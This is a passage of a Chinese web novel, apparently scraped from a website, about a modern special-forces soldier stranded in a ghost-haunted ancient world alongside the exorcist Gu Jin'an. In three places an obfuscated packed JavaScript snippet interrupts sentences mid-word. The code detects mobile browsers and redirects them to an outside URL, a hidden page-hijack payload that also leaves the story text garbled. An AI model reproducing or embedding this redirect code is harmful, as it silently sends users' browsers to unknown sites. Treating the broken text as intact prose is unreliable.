房间内,烛光摇曳撑开桌边一方小小的光明地,二人相对坐在桌边,拉长的影子在身后随烛火微微晃动。 清朗的声音向这位无极天来客徐徐道来始末。 “我好像听明白了。”薛戬道,“也就是说,在这个世界里,鬼和御鬼师的能力来源都是那个叫「念」的东西。” “嗯。” 死了的鬼、活着的御鬼师都以「念」为力量,二者有些相同的力量来源,这也是现在凡人忌惮御鬼师的缘由之一。 “这个「念」又分成了鬼身上的「念」,和那个‘无极天’中游离的「念」,你们御鬼师可以把无极天中或是周围游离的「念」——也就是除了鬼身上的「念」,转化为魔法。” 魔法?顾今安大概理解了一下,“嗯,对。” “比「念」更小的单位是「欲」,每个人都有「欲」。”薛戬继续总结。 “这么说来……很像是化学的原子和分子,人的贪嗔痴恨是「欲」原子,含量达不到聚成「念」分子的程度——这就是说这人的执念不深,那么此人死后魂魄就可以顺利入轮回。” “魂魄轮回了,魂魄上的这些小小的「欲」原子没有附着物就散在空中,和其他人魂魄中的「欲」原子一起聚成游离态的「念」分子——就是无极天里的「念」。” “原子含量不同导致「念」分子颜色不同——所以这个什么无极天五颜六色的。而这些游离的「念」可以被御鬼师利用。” “相反,如果人死后魂魄上的「欲」原子含量过高聚成了「念」分子——就是说这人执念深重,那么他的魂魄就没法@轮回,这魂魄就成了【鬼】。鬼又根据「念」分子的强弱划分不同等级——游魂、恶鬼、猛鬼、怨鬼、厉鬼。” 薛戬的声音很低沉,在这小小的客栈房间里回响着,顾今安听得莫名想摸自己耳朵。 顾今安听不明白什么“原子”“分子”,但听得出来薛戬明白自己所说的了,“是这样的。” 薛戬道:“所以,判定魂魄入不入轮回的标准就是其上的贪嗔痴恨够不够聚成「念」。魂魄上有「念」就不能进轮回,就是人间鬼。” “正是。” “一个鬼身上的「念」一定是他自己的「念」,而空气中的「念」是无数亡者的「欲」汇聚而成的。” “是的。” “所以,御鬼师和鬼一个用的是别人的「念」,一个用的是自己的「念」。” “对。” 薛戬思忖拼凑着这个世界的运行规律,目光无意识地盯着顾今安的手,看着他的手拿过茶壶朝杯中倒茶。 那双修长素净的手在烛光中带着一种苍白的玉质感,连血管都是烛火暖不起来的冷蓝色,这是一双适合鼓瑟吹笙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992584|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,在军队里可见不到——薛戬的思绪歪了楼。 “这里大概就是如此。”顾今安端起茶杯呷了一口,看向薛戬,“你呢?你的来处如何?” 薛戬给自己也倒了杯茶,“我们那边可没有这些乌七八糟的东西,没有鬼、没有「念」,大家平淡生活,和和美美。” 顾今安觉得不可思议,他生下来就在这鬼横行的世界,“那该是怎样的?” 这样的地方是世外桃源吗? “挺好的。”薛戬敷衍道。 顾今安悄悄为薛戬来的地方取名“桃源”。 薛戬觉得自己的适应能力是真的高,思来想去只能接受现状,“我该怎么回去——这才是我最关心的问题。” “从无极天来人是史无前例的,我也不知此事缘由,更不知你该如何回去。”顾今安道,“但我有一位兄长,博闻强识,兴许他能知晓。” 薛戬抓到一丝希望,“他在哪儿?问问他去。” “可以带你去见他,但他离此地相去甚远,要等此间事了。”顾今安话音刚落,心头猛得一跳,剧烈的疼痛从心脏蔓延到全身——为怨鬼净化的后遗症发作了,怨鬼的「念」在他体内横冲直撞。 他把不住颤抖的手放到桌子下,面上强作淡定,不想让薛戬瞧出端倪。 “此间事”自然是指陈老太之事,方才他已经详细地给薛戬谈及了。 薛戬自是清楚,应道:“行。” “这几日,你若不嫌弃,先跟我一起吧,可能会很波折,你也可在客栈等我。”顾今安硬撑着。 “我跟你一起,兴许能帮上忙节约时间。”薛戬拉过他的手,作握手状,“感谢你,好同志。” 薛戬的手又大又暖,冰凉的手被他包裹着,顾今安莫名有一种后遗症缓解的错觉,“不必言谢,举手之劳。” “不早了,今日先歇息吧。”顾今安收回手,声音有些不明显的发虚,“你睡床,我睡地铺。” 方才顾今安本打算要两间房,但是薛戬不乐意,因为他觉得鬼生地不熟的,谁知道会发生什么,所以就要了只此一间房和顾今安同住,反正薛戬习惯了大通铺,没那么多讲究。 “你睡床,我在哪儿都能睡。”毕竟是薛戬硬要一间房,自然不好意思自己睡床让别人睡地上。 顾今安因为剧痛觉得视线已经有些发黑了,冷汗直流,他也无力推辞了。 * 顾今安在床上裹着被子面朝墙壁缩着,浑身针扎般的刺痛让他冷汗津津,只是一只怨鬼的「念」而已,也还好……还好…… 薛戬看了一眼他的背影,并未注意到他的反常,铺好地铺躺了上去,“我关灯……熄蜡烛了?” “嗯。”顾今安有气无力地应了一声。 房间陷入黑暗与静谧之中,只有薛戬翻身时被子衣料摩擦的细微声响。 窗外雾气散了些许,月光盈盈撒进屋内,为黑暗镀上清冷的光。 顾今安闭着双眼,在疼痛中难以入眠,直到四更才迷迷糊糊沉入一个滚烫汹涌的梦里—— 火光撕裂夜幕,凶猛地拉扯着奢华的府邸,座座高楼发出撕心裂肺的“咔嚓”巨响! 横梁坠落,花窗坍塌,染血的幕帘被火舌舔舐。 曾放纸鸢的草野横陈无数残躯,笑语揉碎了沉没在莲池,受惊的锦鲤躲在荷叶下警惕着灼热的火光,该逃,可水里氤氲着滚烫的血,又能逃往何处? 多少旖旎的梦在这场大火里化成灰烬,恸哭和泪水却让这大火愈发恣意,恶鬼怨鬼在半空放肆大笑,火愈猛,鲜血喷溅得便愈高,惨叫便愈凄厉,它们便愈加猖狂——这世道如他们所愿。 顾今安觉得很烫,他在逃命,双腿沉重,肺腑在剧烈的奔跑中快要炸裂,喉头带上血腥味,心脏在胸腔里狠狠跳动,因为恐惧,他的脑海几乎一片空白。 眼前一片血色,清晨还朝他柔声细语的双亲此时身首异处,一双空洞的眼睛不甘地望着他。他的同胞哥哥消失在茫茫火海。 什么都没有了。 无极天下,吞没夜色的火光里轰然坍塌了这座百年高楼,巨响震颤八方,火星和尘粉飘扬百里。 史书里朱砂又勾勒了一道终止符,一个世家的百年荣辱都化作尘土。 又是一段被鲜血浸透的历史。 可天下不清醒的人和清醒的人都在狂笑…… * 顾今安猛然惊醒,梦里的悲恸尚有余韵,心脏揪紧,脑海里依旧是兵戈的嘈杂声,他一时忘了呼吸,身体的刺痛和心理的苦楚在撕裂着他。 月明星稀,夜色薄而冷。 比起梦归陈年,他宁愿清醒着承受身体的刺痛。 8.怪人同舟共解难题 天际亮起一线白,晨星点点,天幕上紫色与蓝色交融。 屋内的温暖隔绝了窗外的寒意,远眺是一片高低参差的灰瓦屋顶,时辰尚早,城池间只几屡炊烟缭绕。 顾今安身上的刺痛褪去,但因彻夜未睡踏实,浑身乏力。 他坐起身来,却见地铺上已不见了薛戬的身影,被褥被叠得整整齐齐、整整齐齐……方正如豆腐块。 “……”顾今安在研究这是怎么叠的。 “醒了?” 顾今安抬眸循声看去,见薛戬一手捞开半遮的幕帘,因身型高大,只能低头避开横梁,从隔间朝正屋走来。另一手抓着湿抹布,显然擦了脸,头发带着些许水痕。 “你起得这般早?”顾今安以为自己已经算醒得早了。 “习惯了。”薛戬把抹布搭在架子上。现在受伤了不方便活动,放之前他都起更早晨练的。 薛戬的形象有些不伦不类,头发很短,随意地穿着一件不知从何而来的已经洗褪色的黑色外衣,里面不着半缕,领口松垮一直开到腹部,露出的胸肌、腹肌线条悍利,下装只着一条白色长裤,脚上还穿着他来时的那双皮革靴子。 亏得他身型是远胜常人的高大颀长,面容也是英俊深刻,才让他显得没有那么难堪。 顾今安的目光落在他大敞开的衣服上,“你这般穿着不太……雅正。” “嗯?”薛戬低头看了一眼自己的衣服,“那怎么穿?我也没衣服了。这外衣是别人给我的。” 昨日有人实在受不了薛戬穿一身中衣在街上转悠,就把自己洗褪色的干净外衣扔给了他。 顾今安起身去洗漱,“你还是把中衣穿上吧。” “昨天出汗脏了啊。”薛戬就是觉得脏了所以里面才挂空的。 “你先穿上吧,忍一忍,待会儿出门去成衣铺买新的。” 薛戬“啧”了一声,穿就穿吧,反正现在想洗澡问了小二也说暂时没热水,脏一块了,古代真不方便。他一边腹诽一边解开外衣腰带,准备穿中衣。 顾今安洗漱完回头正好看见薛戬背对着他脱下外衣。窄腰宽肩,背部肌肉精健紧实,随着他的手臂运动,肌肉牵连起精悍的线条,手臂隆起的肌肉上绷起青筋与血管,蓄满力量,窄腰被下裤腰带束紧。 顾今安怔了一瞬,他之前给他疗伤的时候也不是没见过,可现下这副身材动起来,就…… “怎么不说话?”薛戬转过身来看向他。 顾今安的视野便从那窄腰变成了悍然收束的腹内外斜肌,他甚至看见了腹肌上隆起的血管,没入下裤深处…… “嗯?”顾今安顿时把视线移到薛戬脸上,对上了一副不耐的神情。 “我说你先把早饭吃了。”薛戬一边穿衣服,一边指了指桌上的清粥,“估计已经凉了。” 顾今安这才注意到桌上的粥,“好。多谢。” “你伤怎么样了?”顾今安在桌边坐下,示意薛戬肩头还缠着的白纱布。 “就那样吧,慢慢来,抬手臂还是痛,但不影响正常做事。”薛戬穿好中衣,披上黑色外衣,一边系着腰带一边展示给顾今安看,“这样总行了吧。” 顾今安看着他的短发和皮靴,依旧觉得古怪,心头想着赶紧给他弄身像样的衣服,嘴里还是应了一声,“嗯。” 薛戬坐到顾今安对面,给自己倒了杯茶。 “你不吃吗?”顾今安看着桌上仅有的一份早点问道。 “早吃过了,这是给你的。”薛戬喝了口茶,想起这茶还是昨日的陈茶,又放下了。 “平时起这般早所为何事?”顾今安把汤匙放进粥里搅了搅。 “晨练。”薛戬不喜欢喝陈茶,开始寻找别的能喝的水。 “嗯?”顾今安觉得有些好奇,薛戬之前提到“大学”,应该是儒生,现在又要早起晨练,而且看他身型——定然是习武之人。 “你在你们那该是何身份?”顾今安喝粥,入口的粥已经有些温凉了。 “特种兵。”薛戬打开柜子上的茶壶看了一眼,发现这只是个装饰品。 顾今安不曾听过这个名词,“这是做什么的?” “做好事的。”薛戬没有找到能喝的水,“啧”了一声,打开门出去了。 顾今安隐隐听见薛戬把睡着的店小二叫醒来给他泡茶。 顾今安喝完最后一口粥时,正好薛戬提着新泡好的茶水回来了。 这醒神的茶得喝。 其实薛戬昨夜并没有睡好——任谁发现自己在一个莫名其妙的地方都不能安心睡大觉的吧? 薛戬喝着茶,目光瞥向了收拾空碗的顾今安。 昨夜没睡好,所以他也听到了顾今安夜半在梦里模糊不清的呓语,听起来有些悲伤,整个人裹着被子,微微发颤。 是做噩梦吧?薛戬当时没有惊醒他,此时也没有问他。 这里的一切于薛戬而言是未知的谜团、虚幻的他界,他是归心似箭的过客,他像走马观花的游人,他很快就会离去,这一出戏他无需看真切,这戏中人他也无需了解太多,浅交辄止。 “今天准备怎么处理陈老太的事?”薛戬问道。解决完陈老太就找回去的办法。 “还不清楚,可能要寻人多问问,昨夜没找到她,得先知道她在何处。”顾今安把空碗放进食盘。 “那快走。” * “问谁?”薛戬抱着手臂问身边人。 两人并排站在客栈门口,看着来来往往的人流。 “嗯……”顾今安往上提了提剑带,“走着看吧。” “意思是你还不确定?”薛戬皱眉。 顾今安想了想,“可以试着问问与陈老太同辈的长者。” 薛戬沉默片刻,侧头垂眸看向他,“我有个问题——你们降妖除魔必须搞清楚它们生前的事吗?”就不能直接打架吗? “一般来讲是如此。除非你强到能直接暴力压制住它们。”顾今安回答。更何况陈老太是个厉鬼,必须尽量多知道她生前事。 “知道它们生前事,你就打得过了?”薛戬表示不理解。 顾今安抬眸看向他,“「念」由心生,知其源头便可攻其薄弱。” “行。那如果遇见再老一点的鬼,没有认识它的活人,你问谁去?”薛戬挑眉。 “不会的,自有鬼以来便有御鬼师,御鬼师勤勤恳恳,又怎会有陈年旧垢?”顾今安顿了顿,好像也并非如此……他改口道:“若真有那些无活人认识的鬼,还可以问别的鬼,或是多几位御鬼师一齐制服它。” “OK。” “OK?” “我说——好的,懂了。” “OK。” 薛戬:“……”学得挺快。 二人行走在主街上,人来人往都对薛戬感到好奇,因为他的短发与皮靴,再加之他优于常人的身高容貌。 他同行的还是个俊美无俦的公子……御鬼师?呃…… 总之,二人这组合过于显眼,众人路过都要瞥上好几眼。 顾今安有点招架不住了,路过成衣铺就领着薛戬进去了。 薛戬身型高大,两家成衣铺竟没有他合身的成衣,直到第三家终于有了,选了一套纯黑的,这衣服虽不至于雕青树工、镂月裁云,却也是合身工整。 薛戬肌肉精悍,穿上衣服却显得身型格外修长匀称,窄腰宽肩长腿正正好。黑色很适合他,衣服依了他的意思把宽大的袖摆改成了箭袖设计,更显简单干练。 薛戬不穿布靴子,“我这双军靴可比你们这布靴子舒服多了,不换,就穿这个。” 顾今安想了想,也行,反正长衣一遮也不明显。 成衣铺老板也觉得他那双皮靴子精美异常,端详了好一阵,还想让薛戬卖给他,薛戬自是不愿。 “这个可以戴吧?”顾今安递给薛戬一顶竹条编织的帽子,“遮住头发,我们这的男子皆是长发,与你们那边不同。” 薛戬接过来戴上。 有了这帽子,顾今安觉得他顺眼多了,配上他深刻英俊的五官,看上去像个风流游侠,或者潇洒镖客。 顾今安正在掏钱,就听薛戬问道:“老板,你和生前的陈老太熟吗?你知道什么关于她的事吗?” “啊?这……不熟。”老板冷汗直流。 薛戬看他神色慌张,“你怕鬼啊?你别怕啊。这不还有位御鬼师吗?就是来帮你们斩妖除魔的。”薛戬伸手拍了一下顾今安的背,力道之大让顾今安把手头的碎银子都甩了出去。 顾今安:“……” “嗷……斩妖除魔啊。”老板眼角抽搐,好歹是自己的客人,可以忍,“那就有劳御鬼师了。” “你不认识陈老太,那你觉得谁认识陈老太?”薛戬继续问老板。 “这……我也不知。” “那你……”薛戬话刚起头就被顾今安拉住了,“我们走吧。” 薛戬看了他一眼,“好啊。”顺着他同他走出了店铺。 “二位慢走。” “怎么回事?”走出店铺后薛戬问顾今安。薛戬察觉到了,提起御鬼师除鬼这老板的反应似乎不太对。如果城里闹鬼,来了抓鬼的不是应该高兴吗? “现在很多人觉得御鬼师与鬼沆瀣一气,他们惧怕厌恶御鬼师。”顾今安道,“大多数人不想和御鬼师有过多交集——这位老板应该算是了,所以不必多问他生意之外的事。” 薛戬皱眉,“为什么?抓鬼还不好?” “故事挺长的。”顾今安朝上提了提剑带,“总之如今世人并不太推崇御鬼师。” 薛戬看着他,“行。只有御鬼师才能抓鬼却又不待见御鬼师是吧?” “嗯…” “那你们御鬼师靠什么过活?” “会有人请御鬼师进家除鬼并给予报酬。” 薛戬挑眉,“呼之即来,挥之即去?” “世人不想给御鬼师太高的地位、太大的权力。”顾今安道,“以前……御鬼师还是个挺高的官职。” 那这确实可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005072|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是个很长的故事,薛戬不太好奇,也觉得自己暂时没必要知道。 “所以你管陈老太这事是因为有人给你报酬?”薛戬问道。 “没有。” “没钱你还管!” 顾今安没说话。 薛戬无语,“一定要管?” “嗯。” 薛戬半理解半不理解,理解的是,可能顾今安执意要除陈老太就像自己的军事任务一定要执行;不理解的是,除鬼为民,可民似乎不太领情,毕竟薛戬在做的事是一直都有人感激的。 但现在毕竟是他有求于人,自然得等别人方便,他还能多说什么,“知道了,我协助你,速战速决。” * “走了半个城了也未传言有人遇害,那么陈老太昨夜失踪并非去杀人了。”顾今安把自己想的告诉薛戬。 “那她去哪儿了?——话说白天能看见鬼吗?”薛戬到目前为止似乎还没看到鬼,连游魂和恶鬼都没有,但是空中依旧纠缠着「念」。 “也是能的,但大部分鬼都不愿在白日里出没,特别是稍弱些的。”顾今安道。 薛戬道:“你说陈老太是厉鬼,是最厉害的那一挂鬼,那她白天也能出现吧?直接找她。” 顾今安道:“能找到自然是好的,可她未必愿意出现,而且我们现在最主要的还是要弄清她的事情。” “那问那位老人试试。”薛戬示意前方坐在门口晒太阳的老翁。 “好。”顾今安开始寻思该怎么问。 他正在思忖,旁边的薛戬突然问他:“你昨天跟我说的是几月几日来着?” 问这个干嘛?顾今安一头雾水,回答他:“九月廿三。” 得到了答案,薛戬走向老翁,问道:“老人家,九月廿三城中有什么特别的事吗?” 老翁抬起睡意昏沉的头,年老泛白的眼睛看向他,声音沙哑,语调迟缓,“特别?并无。”他摇头。 “那您知道这天陈婉会去哪儿吗?或者会做些什么?”薛戬问得非常直接。 “谁?”老翁有点神志恍惚的迟钝,皱着稀疏的眉头,张着嘴,露出下牙床仅剩的几颗牙。 “陈婉。” “哪个陈婉啊?” “就是与乞丐结……成亲,儿子在东边什么城的那个陈婉。”薛戬把顾今安告诉自己的关于陈老太的故事浓缩了一下。 “啊,对啊!她是去看儿子了,怎么了?”老人依旧是恍惚的神情。 二人对视一眼。是啊,陈老太会在固定时间去乌城看望她儿子。 “您确定她是廿三去看儿子?”薛戬向老翁确认道。 “啊,她不就是每月廿三都要去吗?听娟儿说的啊。”老人目光放空了,“娟儿……” “娟儿是?” “拙荆啊,她先走了……”老翁陷入回忆里,任薛戬再问他他也不说话了。 所以老翁是听自己的妻提到陈婉会在每月廿三去探望儿子。那么昨夜陈婉不在,应该是探望儿子了?可不是说她后来又不去了吗? 薛戬看向顾今安,问道:“你想去那个乌城——是乌城吧?找陈老太吗?” “再问几人吧。”顾今安道,“怕老人家记忆有偏颇,我们再问几人证实。” “行啊,走吧。” 他们再寻了几人问询,得到了更为确切的答案——陈老太会在每月廿三去乌城,到廿六再回来。也就是说她会有四日不在这日拂城里。 她生前只去看望了儿子十三年左右,而后再也不去了。而她做鬼后,每月的这个时间都会消失,不会传出有人看见她的面铺的事,也就是说她很可能在死后又开始探望儿子了。 在这个问人的过程中,薛戬更为明显地发现了人们对御鬼师的不屑与避之不及。 那些人回答得期期艾艾、讳莫如深,薛戬都要发脾气了,而顾今安似乎觉得无所谓,这个人不愿意回答就问下一个人,这个人态度恶劣就忽视他。 “你他妈给我嘴巴放干净点,帮你除鬼你还嘚瑟上了?”薛戬忍无可忍,警告对面那个爆粗口的人。 顾今安赶紧拉住他。 薛戬气得没话说,最后干脆不管了,让顾今安问,自己就跟在他后面。 “所以要去吗?”薛戬一肚子火。 顾今安感觉出了他的不耐,也挺无奈的,“要去的,但这会儿先去用午膳吧——你应该饿了吧?吃完我们再去乌城。” “我说,你要是不挂着你这些八卦罗盘什么的,别人不就不知道你是御鬼师了吗?”薛戬没忍住,示意他的腰带。 “这些啊……” 顾今安一手捞起腰间的那一把东西,“我就是要让别人知道我是御鬼师。” “为什……” 算了。太奇怪了,懒得管… “你想吃什么?”顾今安问薛戬,“这几天因伤吃得清淡,你应该想吃点有味的吧?” “随便。” “嗯?” “都行。” “那可难办呀…” 9.道阻且长红鸾何处 远来即是客,更何况远的都跨世界了,这是二人正儿八经的第一顿饭,顾今安带着薛戬到了一家很不错的酒楼。 正值饭点,酒楼食客如云,交谈声不绝于耳,各种口音混杂一室。 两人拣了个靠窗的位置。 能顺利入座,顾今安松了一口气,要知道很多酒楼都不让御鬼师进的,特别是这种生意红火的。 “二位客官要试试我们的招牌吗?”小二提着茶壶利索地在桌上摆上两个杯子,给他们斟茶。他一边倒茶一边打量了顾今安的一眼,轻轻“嘶”了一声。 顾今安离他近,听见了这轻蔑一声,但并未在意,问薛戬:“你想吃什么?” “多来些肉就行。”薛戬无肉不欢。 “好——那粉蒸牛肉、白斩鸡、糖醋鲫鱼、再来个菜羹,劳驾。”顾今安几乎把招牌菜肴里的荤菜都点了。 “哦。”小二把茶壶留在桌上让他们后面自己斟茶,“店里人多,上菜慢,二位慢等。” 顾今安:“无妨。” 问了一上午的人,说了很多废话,薛戬渴了,把茶水饮尽,目光随意看着窗外街景。 广袖长衣的古人来来往往,古老的木推车载着无公害原生态蔬菜,驴车慢慢悠悠,垂髫小孩吃着糖葫芦。 与现世全然不同。 他依旧觉得有些不真实。 如果是一场梦就好了,醒来就回去了。 但这显然不是梦,现下还有事得做,他才有机会回去。 他问顾今安,“陈老太只去乌城四天,她昨日去的,算算时间,后天应该就回来了,我们一定要追过去吗?” 顾今安道:“还是得去探查一番,陈老太作为乌城童养媳而后为何又去了后与城,她逃出青楼又怎不留在乌城,还有她为何后来又不去看望她儿子了,以及她大棚上的恶鬼是何缘故……还有诸多疑点。” “乌城离这里远吗?”薛戬手指敲了敲手中茶杯。 顾今安看着那个在他手中显得小的可怜的杯子,“坐马车两个时辰。” “四个小时啊……真远。”薛戬又给自己倒了杯茶,给顾今安也斟上了。 酒楼生意太过红火了,上菜速度确实如小二所言,极慢,大堂里一片催促声,小二都应不及了。两人等了许久 ,小二这才给他们上菜来。 薛戬忙着搭手摆菜盘,等小二走了,才发现不对。 两碗米饭,小二放在自己面前的米饭是新鲜的,而放在顾今安面前的那碗却是发黄带着锅巴的隔夜饭,好像非常刻意地就是要让顾今安看到这个明显的差别对待。 “什么意思,同一锅米饭还长得不一样了?”薛戬想叫小二回来换一碗,小二却已经忙得看不见影了。 “无事,能吃。”顾今安拿起筷子,示意满桌佳肴,“不知合不合你胃口,开吃吧。” “吃什么吃。”薛戬把自己那碗新鲜米饭放到顾今安面前,五指抓着他那一碗陈米的碗口起身径直朝厨房走去。 “别……”顾今安想叫住他,却只能看着他的背影穿过嘈杂的大堂。 未几,薛戬带着一碗新鲜米饭回来了,坐回顾今安对面,“这才对。” 顾今安没说话。 十六年前祸事方起时,他还小,逃亡辗转,有的商贾甚至给他盛的是猪槽的潲水,毫不夸张。那时候他还会去理论,而每每理论都会把店家对御鬼师的憎恶推到极致,周围的看客也会加入纷争,他孤立无援,换来一顿恶言冷语,说的最多的不过是“给你就不错了,你也配好的?”。 有时甚至换来一顿毒打,那些人把对御鬼师的憎恶化作拳打脚踢悉数落在他身上。 最严重那次他被打得遍体鳞伤,脱臼的手腕是他自己掰正的。没人会帮他,没人会管他,他饿了三天,饿得干呕、眩晕,挨不住食了野外的果子,险些毒死。 从那之后,只要吃食尚能入口,他都可以忍受。 随着时间流逝,这种情况渐渐有所好转了,但大家对御鬼师依旧不友好,恨意并未完全消除。 对于这些事他一般由大化小,由小化无,忍忍就过去了。 世人是一种怎样的心理,顾今安其实是理解的,但他还是花了很多年来接受、来适应。 “其实不用这样。”顾今安开口了,“如果事态闹大,周围这些看起来相安无事之人也会参与进来,我们成为众矢之,情况会比这个更糟。” “?”薛戬不理解他说的,“这种公平买卖你也准备吃哑巴亏?” “一碗陈米而已,算不上什么亏。”顾今安道,“看样子应该是把你当作我的雇主了,不会为难你的。” 兴许能顺利坐进来正常吃饭还得感谢薛戬。他们十有八九是被认作家有鬼事的雇主和御鬼师的组合了。 薛戬看了他一会儿,欲言又止。算了,管他的。自己早晚要回去的,他想怎么办就怎么办吧,懒得争辩。 薛戬吃饭很快,军队里吃饭时间短练出来的,顾今安才吃半碗,他已经吃完两碗了。 这家酒楼饭菜味道确实不错,粉蒸牛肉极入味,原生态的牛肉,牛油香浓郁,配上软烂的土豆,绝;这道白斩鸡把鸡肉香味激发得淋漓尽致,肉质嫩而不柴;黏稠的汤汁芡浇在肉质滑嫩的鲫鱼上,咸香酸甜,口味极佳。 薛戬出任务已经有一个多月没吃什么像样的了,这一顿竟吃出了奢侈的感觉。 “我吃饱了,你慢慢吃。”薛戬放下筷子,看着对面慢条斯理吃饭的顾今安。 他来这里碰巧是遇到好人了。不然真可能死在那个深山老林。 “顾怀。”薛戬喊他。 一来就直呼名,顾今安抬眸错愕地看向他,夹鱼肉的筷子都僵住了,“嗯?” “名”通常只能由长辈、上级或亲密的同辈才可呼喊,这…… 可能在薛戬那里不是如此吧,顾今安也没说什么,默许了。 “你为什么要帮我。”薛戬问道。 顾今安把鱼肉夹到自己碗里,“举手之劳,不足挂齿。” 这真是个大好人。 “谢谢雷同@志。” “啊?” * “你们这里的路也太烂了。” 两人坐在马车上赶往乌城,泥泞小路坑坑洼洼,全是碎石子,小小马车颠簸得不行。 路不好,再加上马车用的还是没什么弹性的木车轮,一点不减震,颠死了。 “都/是\这/样\的/路\,/忍\一/忍\就/好\。”顾今安被颠得声音上下颤动。 薛戬:“……” 顾今安朝旁边挪了挪,马车太窄了他和薛戬的肩膀老是碰到一起。 奈何他的挪动只是无用功,这个马车并排坐两个成年男子只能挤得紧紧的,更何况薛戬身型高大。 而以他的财力也只能租赁这种小马车。 “它颠就颠,关键是它也不快啊,还小。”薛戬两条长腿在车厢里曲得实属憋屈,“真不如走路。” “还是要比走路快一些的。”顾今安不知道怎么安慰他了,摸出一个包裹,揭开布,里面躺着两张饼,是刚才酒楼里买来带着的干粮,“要吃些小食吗?路上吃着小食看风景消磨时间,很快就到了。” “?我们刚吃完饭没多久还吃?而且你管这大饼叫‘小食’?”薛戬指了指他的饼。 “是怕你坐车闲来无聊。”顾今安话音刚落,马车碾过一颗大石头,一个颠簸起落,手里的饼弹出去了一张。 薛戬:“……” 顾今安面不改色地把地上的饼捡起来,掸去灰尘放回布里,包好宝贝地揣进怀里,“不吃算了。” 薛戬:“…………” 车轮轱辘,铿嗒一声又一声地颠簸着,马夫沉默地甩着手里的马鞭。 薛戬捞开马车窗帘朝外看去,路边是一望无际的田垄,熟透的麦穗在秋日旷远的天幕下翻涌,清风徐来,谷香勃郁四野。 没有被现代城市攻占的古代,空气质量就是高。 他靠在车壁上,清风从窗缝吹进来有些催人眠,每次都在快睡着时又被颠醒,折磨得很。 行至半路,一个巨大的颠簸,让他彻底清醒。 “咔!”一声脆响,马车猛烈一晃! “嘶——”马在嘶鸣,车夫慌乱地发出“吁”声勒马,似乎也挽救不了了,两人在马车内根本坐不稳。 “怎么了?”马车朝着顾今安那方倾倒过去,薛戬也随之朝他那方歪去! 情急之下,他用手撑住了顾今安头侧的马车壁稳住身形,此时,马车也倾倒着停稳了。 顾今安整个人都被他圈在了手臂间。 “这怎么了?” “我也不清楚…”顾今安其实隐隐有猜测,因为这种情况并非第一次了…… 果不其然,下车一看,如顾今安所猜测的——马车在行驶中断了一个车轮,车身侧倾了。 “哎呀!都说别搭御鬼师了,晦气!我偏不信!怎么这么倒霉!”马夫提着断下来的木轮骂骂咧咧。 “说什么屁话?”薛戬怒道,“出发之前不是应该检查好车的状况吗?半路抛锚,还怪在乘客身上。” 包车,半路车坏了,没把乘客安全送到目的地,还要说因为乘客晦气,合理吗? 马夫被他的身量和气势吓到了,“我……我、我检查了的,分明是好好的。” 可是那车轮的毂开裂,撑不住轴,辋也磨损严重,辐丢失了几根(注1),一看便是经年失修,疏于防范。 “你这车轱辘破成这样,你说你检查了?你哪只眼睛检查的?”薛戬火气上来了,遇到这种推卸责任的人,是真的火大。 “你……!”马夫脸都羞红了。 “无事无事,这是这趟的租金,”顾今安递给马夫几块碎银子,然后又补了两块,“这些就当修葺马车的钱,剩下的路我们步行过去,你骑马回去寻些人过来帮着拖车吧。” “…………”薛戬无语。 马夫接过银两,心头爽了,“行吧行吧,就这样吧,你们走吧,” 只有一匹马,马夫又不肯卖,算一算他们坐马车一个时辰,恰好在两城中间,等马夫来回一趟带着好的马车来找他们的时间确实也够他们走到乌城了。 在这种路上马车行得只比走路快上些许,剩下的路程若是步行,可能还需要一个半时辰左右。 薛戬一语成谶,得走路了。 “你的那个魔法不能变个轮子出来吗?”薛戬问顾今安。 顾今安解释道:“不能。我目前变出来的东西脱离我手用不了太久就会消失。” “‘目前’?你的意思是说,你以后有可能做到?” 顾今安想了想,“我至今没见过能做到的御鬼师,就算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017403|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有御器能力的也需要有原料做依托。” 薛戬点头,“行。符合唯物主义但不完全符合。” “‘唯物主义’是何物?”顾今安问道。 薛戬假装没听见,懒得回答。 想一想接下来走路薛戬倒也觉得无所谓,平时训练路程差不多,还得负重、躲避障碍物与陷阱。 “抱歉。”两人行在路上,顾今安突兀地对薛戬道。 “为什么?”薛戬不解。 “我可能有点命里犯煞,同我一路估计会不太顺心,这种事常有。”顾今安提了提剑带。 薛戬笑了一声,“你还真信他说的?” 顾今安解释:“并非是听了他所说,也并非因为‘御鬼师’,而且我自身,我从小就挺倒霉的。” “小时候遇见个算命先生,还说我红鸾星照命,乃是幸运有福之人,算得真是不准。”顾今安回忆起这事就觉得有趣,笑了笑,“活了这么多年还真没被红鸾星照拂过,他可能说错了,应该是扫帚星照命。” 